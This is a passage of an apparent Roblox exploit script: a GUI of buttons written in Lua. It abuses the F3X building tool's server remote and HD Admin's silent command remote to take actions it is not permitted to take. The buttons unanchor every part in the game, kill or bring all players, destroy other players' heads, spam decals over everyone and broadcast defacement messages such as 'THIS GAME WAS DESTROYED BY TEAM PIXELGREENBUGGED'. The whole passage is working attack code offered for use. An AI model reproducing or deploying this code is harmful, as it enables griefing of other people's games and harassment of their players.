Enum.NormalId.Front) AddDecal(part, id, Enum.NormalId.Front) SpawnDecal(part, Enum.NormalId.Back) AddDecal(part, id, Enum.NormalId.Back) SetTrans(part, 1) Resize(part, Vector3.new(3.5, 3.5, 0.2), part.CFrame) SetLocked(part, true) SetCollision(part, false) Weld(part, h, h) task.spawn(function() for i = 1, 16 do MovePart(part, part.CFrame + Vector3.new(0, 1, 0)) task.wait(0.03) end DestroyPart(part) end) end end end end end) end coroutine.wrap(TextButton_20_fake_script)() local function TextButton_21_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_21) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local P = game:GetService("Players") local R = game:GetService("ReplicatedStorage") local p = P.LocalPlayer local c = p.Character or p.CharacterAdded:Wait() local t for _, v in ipairs(p:GetDescendants()) do if v.Name == "SyncAPI" then t = v.Parent break end end if not t then for _, v in ipairs(R:GetDescendants()) do if v.Name == "SyncAPI" then t = v.Parent break end end end local r = t.SyncAPI.ServerEndpoint local function _(a) r:InvokeServer(unpack(a)) end function SetCollision(p, b) _({"SyncCollision", {{Part = p, CanCollide = b}}}) end function SetAnchor(b, p) _({"SyncAnchor", {{Part = p, Anchored = b}}}) end function CreatePart(cf, pr) _({"CreatePart", "Normal", cf, pr}) end function DestroyPart(p) _({"Remove", {p}}) end function MovePart(p, cf) _({"SyncMove", {{Part = p, CFrame = cf}}}) end function Resize(p, s, cf) _({"SyncResize", {{Part = p, Size = s, CFrame = cf}}}) end function AddMesh(p) _({"CreateMeshes", {{Part = p}}}) end function SetMesh(p, id) _({"SyncMesh", {{Part = p, MeshId = "rbxassetid://" .. id}}}) end function SetTexture(p, id) _({"SyncMesh", {{Part = p, TextureId = "rbxassetid://" .. id}}}) end function SetName(p, n) _({"SetName", {p}, n}) end function MeshResize(p, s) _({"SyncMesh", {{Part = p, Scale = s}}}) end function Weld(p1, p2, l) _({"CreateWelds", {p1, p2}, l}) end function SetLocked(p, b) _({"SetLocked", {p}, b}) end function SetTrans(p, v) _({"SyncMaterial", {{Part = p, Transparency = v}}}) end function SpawnDecal(p, f) _({"CreateTextures", {{Part = p, Face = f, TextureType = "Decal"}}}) end function AddDecal(p, id, f) _({"SyncTexture", {{Part = p, Face = f, TextureType = "Decal", Texture = "rbxassetid://" .. id}}}) end local ids = {"137697261247207"} while task.wait(0.15) do for _, plr in ipairs(P:GetPlayers()) do local pC = plr.Character if pC and pC:FindFirstChild("Head") then local h = pC.Head local cf = h.CFrame * CFrame.new(0, 1.5, 0) CreatePart(cf, workspace) task.wait(0.03) local part for _, v in ipairs(workspace:GetChildren()) do if v:IsA("BasePart") and (v.Position - cf.p).Magnitude < 1 then part = v break end end if part then SetName(part, "particle") local id = ids[math.random(#ids)] SpawnDecal(part, Enum.NormalId.Front) AddDecal(part, id, Enum.NormalId.Front) SpawnDecal(part, Enum.NormalId.Back) AddDecal(part, id, Enum.NormalId.Back) SetTrans(part, 1) Resize(part, Vector3.new(3.5, 3.5, 0.2), part.CFrame) SetLocked(part, true) SetCollision(part, false) Weld(part, h, h) task.spawn(function() for i = 1, 16 do MovePart(part, part.CFrame + Vector3.new(0, 1, 0)) task.wait(0.03) end DestroyPart(part) end) end end end end end) end coroutine.wrap(TextButton_21_fake_script)() local function TextButton_22_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_22) local button = script.Parent button.MouseButton1Click:Connect(function() script.Parent.MouseButton1Click:Connect(function() local P = game:GetService("Players") local R = game:GetService("ReplicatedStorage") local p = P.LocalPlayer local c = p.Character or p.CharacterAdded:Wait() local t for _, v in ipairs(p:GetDescendants()) do if v.Name == "SyncAPI" then t = v.Parent break end end if not t then for _, v in ipairs(R:GetDescendants()) do if v.Name == "SyncAPI" then t = v.Parent break end end end local r = t.SyncAPI.ServerEndpoint local function _(a) r:InvokeServer(unpack(a)) end function SetCollision(p, b) _({"SyncCollision", {{Part = p, CanCollide = b}}}) end function SetAnchor(b, p) _({"SyncAnchor", {{Part = p, Anchored = b}}}) end function CreatePart(cf, pr) _({"CreatePart", "Normal", cf, pr}) end function DestroyPart(p) _({"Remove", {p}}) end function MovePart(p, cf) _({"SyncMove", {{Part = p, CFrame = cf}}}) end function Resize(p, s, cf) _({"SyncResize", {{Part = p, Size = s, CFrame = cf}}}) end function AddMesh(p) _({"CreateMeshes", {{Part = p}}}) end function SetMesh(p, id) _({"SyncMesh", {{Part = p, MeshId = "rbxassetid://" .. id}}}) end function SetTexture(p, id) _({"SyncMesh", {{Part = p, TextureId = "rbxassetid://" .. id}}}) end function SetName(p, n) _({"SetName", {p}, n}) end function MeshResize(p, s) _({"SyncMesh", {{Part = p, Scale = s}}}) end function Weld(p1, p2, l) _({"CreateWelds", {p1, p2}, l}) end function SetLocked(p, b) _({"SetLocked", {p}, b}) end function SetTrans(p, v) _({"SyncMaterial", {{Part = p, Transparency = v}}}) end function SpawnDecal(p, f) _({"CreateTextures", {{Part = p, Face = f, TextureType = "Decal"}}}) end function AddDecal(p, id, f) _({"SyncTexture", {{Part = p, Face = f, TextureType = "Decal", Texture = "rbxassetid://" .. id}}}) end local ids = {"137697261247207"} while task.wait(0.15) do for _, plr in ipairs(P:GetPlayers()) do local pC = plr.Character if pC and pC:FindFirstChild("Head") then local h = pC.Head local cf = h.CFrame * CFrame.new(0, 1.5, 0) CreatePart(cf, workspace) task.wait(0.03) local part for _, v in ipairs(workspace:GetChildren()) do if v:IsA("BasePart") and (v.Position - cf.p).Magnitude < 1 then part = v break end end if part then SetName(part, "particle") local id = ids[math.random(#ids)] SpawnDecal(part, Enum.NormalId.Front) AddDecal(part, id, Enum.NormalId.Front) SpawnDecal(part, Enum.NormalId.Back) AddDecal(part, id, Enum.NormalId.Back) SetTrans(part, 1) Resize(part, Vector3.new(3.5, 3.5, 0.2), part.CFrame) SetLocked(part, true) SetCollision(part, false) Weld(part, h, h) task.spawn(function() for i = 1, 16 do MovePart(part, part.CFrame + Vector3.new(0, 1, 0)) task.wait(0.03) end DestroyPart(part) end) end end end end end) end) end coroutine.wrap(TextButton_22_fake_script)() local function TextButton_23_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_23) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local P = game:GetService("Players") local R = game:GetService("ReplicatedStorage") local p = P.LocalPlayer local c = p.Character or p.CharacterAdded:Wait() local t for _, v in ipairs(p:GetDescendants()) do if v.Name == "SyncAPI" then t = v.Parent break end end if not t then for _, v in ipairs(R:GetDescendants()) do if v.Name == "SyncAPI" then t = v.Parent break end end end local r = t.SyncAPI.ServerEndpoint local function _(a) r:InvokeServer(unpack(a)) end function SetCollision(p, b) _({"SyncCollision", {{Part = p, CanCollide = b}}}) end function SetAnchor(b, p) _({"SyncAnchor", {{Part = p, Anchored = b}}}) end function CreatePart(cf, pr) _({"CreatePart", "Normal", cf, pr}) end function DestroyPart(p) _({"Remove", {p}}) end function MovePart(p, cf) _({"SyncMove", {{Part = p, CFrame = cf}}}) end function Resize(p, s, cf) _({"SyncResize", {{Part = p, Size = s, CFrame = cf}}}) end function AddMesh(p) _({"CreateMeshes", {{Part = p}}}) end function SetMesh(p, id) _({"SyncMesh", {{Part = p, MeshId = "rbxassetid://" .. id}}}) end function SetTexture(p, id) _({"SyncMesh", {{Part = p, TextureId = "rbxassetid://" .. id}}}) end function SetName(p, n) _({"SetName", {p}, n}) end function MeshResize(p, s) _({"SyncMesh", {{Part = p, Scale = s}}}) end function Weld(p1, p2, l) _({"CreateWelds", {p1, p2}, l}) end function SetLocked(p, b) _({"SetLocked", {p}, b}) end function SetTrans(p, v) _({"SyncMaterial", {{Part = p, Transparency = v}}}) end function SpawnDecal(p, f) _({"CreateTextures", {{Part = p, Face = f, TextureType = "Decal"}}}) end function AddDecal(p, id, f) _({"SyncTexture", {{Part = p, Face = f, TextureType = "Decal", Texture = "rbxassetid://" .. id}}}) end local ids = {"87847053702138"} while task.wait(0.15) do for _, plr in ipairs(P:GetPlayers()) do local pC = plr.Character if pC and pC:FindFirstChild("Head") then local h = pC.Head local cf = h.CFrame * CFrame.new(0, 1.5, 0) CreatePart(cf, workspace) task.wait(0.03) local part for _, v in ipairs(workspace:GetChildren()) do if v:IsA("BasePart") and (v.Position - cf.p).Magnitude < 1 then part = v break end end if part then SetName(part, "particle") local id = ids[math.random(#ids)] SpawnDecal(part, Enum.NormalId.Front) AddDecal(part, id, Enum.NormalId.Front) SpawnDecal(part, Enum.NormalId.Back) AddDecal(part, id, Enum.NormalId.Back) SetTrans(part, 1) Resize(part, Vector3.new(3.5, 3.5, 0.2), part.CFrame) SetLocked(part, true) SetCollision(part, false) Weld(part, h, h) task.spawn(function() for i = 1, 16 do MovePart(part, part.CFrame + Vector3.new(0, 1, 0)) task.wait(0.03) end DestroyPart(part) end) end end end end end) end coroutine.wrap(TextButton_23_fake_script)() local function TextButton_24_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_24) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local P = game:GetService("Players") local R = game:GetService("ReplicatedStorage") local p = P.LocalPlayer local c = p.Character or p.CharacterAdded:Wait() local t for _, v in ipairs(p:GetDescendants()) do if v.Name == "SyncAPI" then t = v.Parent break end end if not t then for _, v in ipairs(R:GetDescendants()) do if v.Name == "SyncAPI" then t = v.Parent break end end end local r = t.SyncAPI.ServerEndpoint local function _(a) r:InvokeServer(unpack(a)) end function SetCollision(p, b) _({"SyncCollision", {{Part = p, CanCollide = b}}}) end function SetAnchor(b, p) _({"SyncAnchor", {{Part = p, Anchored = b}}}) end function CreatePart(cf, pr) _({"CreatePart", "Normal", cf, pr}) end function DestroyPart(p) _({"Remove", {p}}) end function MovePart(p, cf) _({"SyncMove", {{Part = p, CFrame = cf}}}) end function Resize(p, s, cf) _({"SyncResize", {{Part = p, Size = s, CFrame = cf}}}) end function AddMesh(p) _({"CreateMeshes", {{Part = p}}}) end function SetMesh(p, id) _({"SyncMesh", {{Part = p, MeshId = "rbxassetid://" .. id}}}) end function SetTexture(p, id) _({"SyncMesh", {{Part = p, TextureId = "rbxassetid://" .. id}}}) end function SetName(p, n) _({"SetName", {p}, n}) end function MeshResize(p, s) _({"SyncMesh", {{Part = p, Scale = s}}}) end function Weld(p1, p2, l) _({"CreateWelds", {p1, p2}, l}) end function SetLocked(p, b) _({"SetLocked", {p}, b}) end function SetTrans(p, v) _({"SyncMaterial", {{Part = p, Transparency = v}}}) end function SpawnDecal(p, f) _({"CreateTextures", {{Part = p, Face = f, TextureType = "Decal"}}}) end function AddDecal(p, id, f) _({"SyncTexture", {{Part = p, Face = f, TextureType = "Decal", Texture = "rbxassetid://" .. id}}}) end local ids = {"95881850574045"} while task.wait(0.15) do for _, plr in ipairs(P:GetPlayers()) do local pC = plr.Character if pC and pC:FindFirstChild("Head") then local h = pC.Head local cf = h.CFrame * CFrame.new(0, 1.5, 0) CreatePart(cf, workspace) task.wait(0.03) local part for _, v in ipairs(workspace:GetChildren()) do if v:IsA("BasePart") and (v.Position - cf.p).Magnitude < 1 then part = v break end end if part then SetName(part, "particle") local id = ids[math.random(#ids)] SpawnDecal(part, Enum.NormalId.Front) AddDecal(part, id, Enum.NormalId.Front) SpawnDecal(part, Enum.NormalId.Back) AddDecal(part, id, Enum.NormalId.Back) SetTrans(part, 1) Resize(part, Vector3.new(3.5, 3.5, 0.2), part.CFrame) SetLocked(part, true) SetCollision(part, false) Weld(part, h, h) task.spawn(function() for i = 1, 16 do MovePart(part, part.CFrame + Vector3.new(0, 1, 0)) task.wait(0.03) end DestroyPart(part) end) end end end end end) end coroutine.wrap(TextButton_24_fake_script)() local function TextButton_25_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_25) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";spin all") end) end coroutine.wrap(TextButton_25_fake_script)() local function TextButton_26_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_26) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";Notice all PIXEL WAS HERE! LAMO") end) end coroutine.wrap(TextButton_26_fake_script)() local function TextButton_27_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_27) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";fast") end) end coroutine.wrap(TextButton_27_fake_script)() local function TextButton_28_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_28) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";titleg me PixelGreenBugged") end) end coroutine.wrap(TextButton_28_fake_script)() local function TextButton_29_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_29) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";bring all") end) end coroutine.wrap(TextButton_29_fake_script)() local function TextButton_30_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_30) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";kill others") end) end coroutine.wrap(TextButton_30_fake_script)() local function TextButton_31_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_31) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character or player.CharacterAdded:Wait() local backpack = player:WaitForChild("Backpack") local function getf3x() for _, v in ipairs(backpack:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end for _, v in ipairs(char:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end return nil end local f3x = getf3x() if not f3x then return end local syncapi = f3x:FindFirstChild("SyncAPI") if not syncapi then return end local serverendpoint = syncapi:FindFirstChild("ServerEndpoint") if not serverendpoint then return end local function setanchor(part, state) serverendpoint:InvokeServer( "SyncAnchor", { { Part = part, Anchored = state } } ) end for _, v in ipairs(workspace:GetDescendants()) do if v:IsA("BasePart") or v:IsA("UnionOperation") then task.spawn(function() setanchor(v, false) end) end end end) end coroutine.wrap(TextButton_31_fake_script)() local function TextButton_32_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_32) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local Players = game:GetService("Players") local RunService = game:GetService("RunService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local player = Players.LocalPlayer local function getChar() local char = player.Character or player.CharacterAdded:Wait() return char, char:WaitForChild("HumanoidRootPart") end local tool for _,v in ipairs(player:GetDescendants()) do if v.Name == "SyncAPI" then tool = v.Parent break end end if not tool then for _,v in ipairs(ReplicatedStorage:GetDescendants()) do if v.Name == "SyncAPI" then tool = v.Parent break end end end if not tool then return end local remote = tool.SyncAPI.ServerEndpoint local function invoke(args) remote:InvokeServer(unpack(args)) end local function CreatePart(cf,parent) invoke({"CreatePart","Ball",cf,parent}) end local function MovePart(part,cf) invoke({"SyncMove",{{Part=part,CFrame=cf}}}) end local function Resize(part,size,cf) invoke({"SyncResize",{{Part=part,Size=size,CFrame=cf}}}) end local function SetAnchor(bool,part) invoke({"SyncAnchor",{{Part=part,Anchored=bool}}}) end local function SetCollision(part,bool) invoke({"SyncCollision",{{Part=part,CanCollide=bool}}}) end local function SetName(part,name) invoke({"SetName",{part},name}) end local function Color(part,color) invoke({"SyncColor",{{Part=part,Color=color,UnionColoring=false}}}) end local function AddFire(part,size,color,color2,heat) invoke({ "CreateDecorations", { { Part = part, DecorationType = "Fire" } } }) invoke({ "SyncDecorate", { { Part = part, DecorationType = "Fire", Size = size, Heat = heat, Color = color, SecondaryColor = color2 } } }) end local orbitConnection local function createOrbitBall() local char, hrp = getChar() local radius = 5 local verticalAmplitude = 3 local speed = math.rad(100) local angle = 0 local initialCF = hrp.CFrame * CFrame.new(radius, -0.1, 0) CreatePart(initialCF, workspace) local ball repeat task.wait() for _,v in ipairs(workspace:GetDescendants()) do if v:IsA("BasePart") and (v.Position - initialCF.Position).Magnitude < 0.1 then ball = v break end end until ball SetName(ball,"stupid Iorb thing lol") Resize(ball,Vector3.new(0.9,0.9,0.9),initialCF) Color(ball,Color3.new(0,0,0)) SetAnchor(true,ball) SetCollision(ball,false) AddFire(ball,0.5,Color3.new(0,0,0),Color3.new(0,0,0),15) if orbitConnection then orbitConnection:Disconnect() end orbitConnection = RunService.Heartbeat:Connect(function(dt) if not hrp.Parent then return end angle += dt * speed local x = math.cos(angle) * radius local z = math.sin(angle) * radius local y = 2 + math.sin(angle*2) * verticalAmplitude local pos = hrp.Position + Vector3.new(x,y,z) local lookDir = Vector3.new( -math.sin(angle), math.cos(angle*2)*0.1, math.cos(angle) ) local newCF = CFrame.new(pos,pos + lookDir) MovePart(ball,newCF) end) end createOrbitBall() player.CharacterAdded:Connect(function() task.wait(1) createOrbitBall() end) end) end coroutine.wrap(TextButton_32_fake_script)() local function TextButton_33_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_33) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character or player.CharacterAdded:Wait() local tool for _, v in ipairs(player:GetDescendants()) do if v.Name == "SyncAPI" then tool = v.Parent break end end if not tool then for _, v in ipairs(game.ReplicatedStorage:GetDescendants()) do if v.Name == "SyncAPI" then tool = v.Parent break end end end if not tool then return end local remote = tool.SyncAPI.ServerEndpoint local function invoke(args) remote:InvokeServer(unpack(args)) end local function CreatePart(cf, parent, types) invoke({ "CreatePart", types or "Normal", cf, parent }) end local function Resize(part, size, cf) invoke({ "SyncResize", { { Part = part, CFrame = cf, Size = size } } }) end local function MovePart(part, cf) invoke({ "SyncMove", { { Part = part, CFrame = cf } } }) end local function Color(part, color) invoke({ "SyncColor", { { Part = part, Color = color, UnionColoring = false } } }) end local function SetCollision(part, boolean) invoke({ "SyncCollision", { { Part = part, CanCollide = boolean } } }) end local function SetLocked(part, boolean) invoke({ "SetLocked", {part}, boolean }) end local hrp = char:WaitForChild("HumanoidRootPart") local padPos = hrp.CFrame * CFrame.new(0, -3.5, 0) CreatePart(padPos, workspace, "Cylinder") task.wait(0.2) local floatingPad for _, v in ipairs(workspace:GetDescendants()) do if v:IsA("BasePart") and (v.Position - padPos.Position).Magnitude < 3 then floatingPad = v Resize(floatingPad, Vector3.new(0.5, 8, 8), padPos * CFrame.Angles(0, 0, math.rad(90))) Color(floatingPad, Color3.fromRGB(107, 50, 124)) SetCollision(floatingPad, true) SetLocked(floatingPad, true) break end end if floatingPad then local RunService = game:GetService("RunService") RunService.Heartbeat:Connect(function() if not hrp.Parent then return end local targetPos = hrp.CFrame * CFrame.new(0, -3.5, 0) MovePart( floatingPad, targetPos * CFrame.Angles(0, 0, math.rad(90)) ) end) end end) end coroutine.wrap(TextButton_33_fake_script)() local function TextButton_34_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_34) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 5228173823 ;pitch 1 ;volume 5") end) end coroutine.wrap(TextButton_34_fake_script)() local function TextButton_35_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_35) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 84989010700738") end) end coroutine.wrap(TextButton_35_fake_script)() local function TextButton_36_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_36) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";h GET HAXXORED BY TEAM PIXELZ!1!1 :3") end) end coroutine.wrap(TextButton_36_fake_script)() local function TextButton_37_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_37) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";servermessage THIS GAME WAS DESTROYED BY TEAM PIXELGREENBUGGED!1!1:)") end) end coroutine.wrap(TextButton_37_fake_script)() local function TextButton_38_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_38) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";btools") end) end coroutine.wrap(TextButton_38_fake_script)() local function TextButton_39_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_39) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";r6") end) end coroutine.wrap(TextButton_39_fake_script)() local function TextButton_40_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_40) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";re") end) end coroutine.wrap(TextButton_40_fake_script)() local function TextButton_41_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton_41) local button = script.Parent script.Parent.MouseButton1Click:Connect(function() function BurningEff(part) local eff1 = Instance.new("ParticleEmitter",part) eff1.Size = NumberSequence.new(.1) eff1.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)}) eff1.LightEmission = 1 eff1.Lifetime = NumberRange.new(1) eff1.Speed = NumberRange.new(0) eff1.Rate = 100 eff1.Texture = "rbxassetid://347504241" eff1.Acceleration = Vector3.new(0,10,0) eff1.Color = ColorSequence.new(Color3.new(1,0,0)) local eff2 = Instance.new("ParticleEmitter",part) eff2.Size = NumberSequence.new(.1) eff2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)}) eff2.LightEmission = 1 eff2.Lifetime = NumberRange.new(1) eff2.Speed = NumberRange.new(0) eff2.Rate = 100 eff2.Texture = "rbxassetid://347504259" eff2.Acceleration = Vector3.new(0,10,0) eff2.Color = ColorSequence.new(Color3.new(1,0,0)) local eff3 = Instance.new("ParticleEmitter",part) eff3.Size = NumberSequence.new(1) eff3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(1,1)}) eff3.LightEmission = 1 eff3.Lifetime = NumberRange.new(1) eff3.Speed = NumberRange.new(0) eff3.Rate = 100 eff3.Texture = "rbxasset://textures/particles/fire_main.dds" eff3.Acceleration = Vector3.new(0,10,0) eff3.Color = ColorSequence.new(Color3.new(1,0,0)) end local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end blak=Color3.new(0,0,0) local function Color(part, color) local args = { "SyncColor", { { Part = part, Color = color, UnionColoring = false } } } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MoveVector(part,vector) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Offset"] = vector } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end local function applyDecorationToPart(part) local argsCreate = { [1] = "CreateDecorations", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire" } } } local argsSync = { [1] = "SyncDecorate", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire", ["Size"] = 3, ["Heat"] = 25, ["Color"] = Color3.fromRGB(255, 0, 0), ["SecondaryColor"] = Color3.fromRGB(255, 0, 0) } } } _(argsCreate) _(argsSync) end function eyePart(part) local argsCreate = { [1] = "CreateDecorations", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire" } } } local argsSync = { [1] = "SyncDecorate", [2] = { [1] = { ["Part"] = part, ["DecorationType"] = "Fire", ["Size"] = 1, ["Heat"] = 12, ["Color"] = Color3.fromRGB(155, 0, 0), ["SecondaryColor"] = Color3.fromRGB(255, 0, 0) } } } _(argsCreate) _(argsSync) end local ReplicatedStorage = game:GetService("ReplicatedStorage") local Players = game:GetService("Players") local UserInputService = game:GetService("UserInputService") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent --kill thingy function thekille(target) if target and target.Character then for i,v in target.Character:GetDescendants() do if v:IsA("BasePart") then RequestCommand:InvokeServer(";paint "..target.Name.." black") spawn(function() Color(v,blak) end) spawn(function() SetTrans(v,0.1) end) wait(0.5) spawn(function() SetTrans(v,0.2) end) wait(0.5) spawn(function() SetTrans(v,0.3) end) wait(0.5) spawn(function() SetTrans(v,0.4) end) wait(0.5) spawn(function() SetTrans(v,0.5) end) wait(0.5) spawn(function() SetTrans(v,0.6) end) wait(0.5) spawn(function() SetTrans(v,0.7) end) wait(0.5) spawn(function() SetTrans(v,0.8) end) wait(0.5) spawn(function() SetTrans(v,0.9) end) wait(0.5) spawn(function() SetTrans(v,1) end) wait(3) spawn(function() DestroyPart(v) end) end end end end wait(0.1) local kill = Instance.new("Sound",char) kill.SoundId = "rbxassetid://28144425" kill.Pitch = 0.6 kill.Volume = 3 local at = kill:Clone() at.SoundId="rbxassetid://82500396906354" at.Parent = char at.Volume = 0.5 local player = Players.LocalPlayer local character = char RequestCommand:InvokeServer(";titlebk me ᴊᴏʜɴ ᴅᴏᴇ") RequestCommand:InvokeServer(";removeaccessories") wait(1.5) RequestCommand:InvokeServer(";hat me 18196403126") wait(0.6) RequestCommand:InvokeServer(";shirt me 100276101149100") wait(0.9) RequestCommand:InvokeServer(";pants me 109662040845019") wait(0.5) RequestCommand:InvokeServer(";head me 0") wait(0.7) RequestCommand:InvokeServer(";face me 144075659") wait(0.3) local eye = char:FindFirstChild("Accessory (JohnEye)").Handle local arm = char:FindFirstChild("Right Arm") local tor = char:FindFirstChild("Torso") local ar2 = char:FindFirstChild("Left Arm") local RLeg = char:FindFirstChild("Right Leg") local head = char:FindFirstChild("Head") local LLeg = char:FindFirstChild("Left Leg") task.spawn(function() applyDecorationToPart(arm) end) task.spawn(function() applyDecorationToPart(ar2) end) task.spawn(function() eyePart(eye) end) RequestCommand:InvokeServer(";music 17717379222 ;pitch 0.2 ;volume inf") task.spawn(function() Color(arm, Color3.fromRGB(0,0,0)) end) task.spawn(function() Color(ar2, Color3.fromRGB(252, 255, 150)) end) task.spawn(function() Color(head, Color3.fromRGB(252, 255, 150)) end) task.spawn(function() Color(tor, Color3.fromRGB(255, 255, 0)) end) task.spawn(function() Color(RLeg, Color3.fromRGB(0, 200, 255)) end) task.spawn(function() Color(LLeg, Color3.fromRGB(0, 200, 255)) end) task.spawn(function() AddMesh(arm) end) task.spawn(function() SetMesh(arm,"94818190090394") end) task.spawn(function() MoveVector(arm,Vector3.new(0.37, -0.6, 0)) end) local arm = character:FindFirstChild("Right Arm") local humanoid = character:FindFirstChildOfClass("Humanoid") local isDead = false humanoid.Died:Connect(function() isDead = true end) local animator = humanoid:FindFirstChildOfClass("Animator") local attackAnim = Instance.new("Animation") attackAnim.AnimationId = "rbxassetid://186934658" local attackTrack = animator:LoadAnimation(attackAnim) function attack() attackTrack:Play() local hitPlayer = nil local touchedConnection local function onTouch(other) local otherPlayer = Players:GetPlayerFromCharacter(other.Parent) if otherPlayer and otherPlayer ~= player then hitPlayer = otherPlayer end end touchedConnection = arm.Touched:Connect(onTouch) task.wait(0.5) if touchedConnection then touchedConnection:Disconnect() end if hitPlayer then d = at:Clone() d:Play() d.Parent = char spawn(function() wait(5) d:Destroy() end) task.spawn(DestroyPart,hitPlayer.Character.Head) else d = kill:Clone() d:Play() d.Parent = char wait(5) d:Destroy() end end 